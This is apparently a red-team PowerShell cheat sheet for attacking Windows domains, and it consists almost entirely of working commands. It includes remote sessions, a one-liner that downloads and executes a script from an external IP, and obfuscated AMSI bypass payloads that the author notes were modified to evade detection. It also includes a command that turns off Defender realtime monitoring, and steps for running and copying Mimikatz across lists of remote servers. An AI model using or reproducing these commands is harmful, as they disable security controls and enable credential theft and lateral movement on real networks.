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Connect to machine with administrator privs

Enter-PSSession -Computername <computername>
$sess = New-PSSession -Computername <computername>
Enter-PSSession $sess

Execute commands on a machine

Invoke-Command -Computername <computername> -Scriptblock {whoami} 
Invoke-Command -Scriptblock {whoami} $sess

Load script on a machine

Invoke-Command -Computername <computername> -FilePath <path>
Invoke-Command -FilePath <path> $sess

Download and load script on a machine

iex (iwr http://xx.xx.xx.xx/<scriptname> -UseBasicParsing)

AMSI Bypass

  • First one gets detected, added a new one!

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
$v=[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils'); $v."Get`Fie`ld"('ams' + 'iInitFailed','NonPublic,Static')."Set`Val`ue"($null,$true)
Invoke-Command -Scriptblock {sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )} $sess

Disable AV monitoring

Set-MpPreference -DisableRealtimeMonitoring $true

Execute locally loaded function on a list of remote machines

Invoke-Command -Scriptblock ${function:<function>} -Computername (Get-Content <list_of_servers>)
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -Computername (Get-Content <list_of_servers>)

Check the language mode


Enumerate applocker policy

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Copy script to other server

ps you can edit the script and call the method you wish so it executes, since you still cant load it in

Copy-Item .\Invoke-MimikatzEx.ps1 \\<servername>\c$\'Program Files'

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